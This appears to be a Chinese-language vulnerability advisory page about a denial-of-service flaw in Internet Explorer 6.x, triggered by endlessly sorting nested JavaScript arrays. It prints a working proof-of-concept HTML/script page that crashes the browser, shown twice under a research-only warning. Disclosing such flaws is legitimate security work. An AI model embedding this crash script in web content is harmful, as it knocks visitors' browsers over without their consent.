当前位置: 首页 > 服务与支持 > 产品升级公告 > 安全漏洞公告

服务与支持Support

Microsoft Internet Explorer无限数组分类拒绝服务漏洞

信息来源:Berend-Jan Wever (skylined@edup.tudelft.nl)      发表日期:2013-11-01 14:14:00

Internet Explorer是微软公司推出的一款网页浏览器。

Microsoft Internet存在安全漏洞,当浏览器执行无限JS数组分类操作时可导致浏览器崩溃,造成拒绝服务。

 

BUGTRAQ-ID:11751

受影响系统:

Microsoft Internet Explorer 6.x

未受影响系统:

Microsoft Internet Explorer 5.2.3

 

测试方法:

警  告!以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!<HTML>

<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>

<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>

</HTML>

解决办法:安装厂商补丁

厂商补丁:

Microsoft

---------

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.microsoft.com/windows/ie/default.asp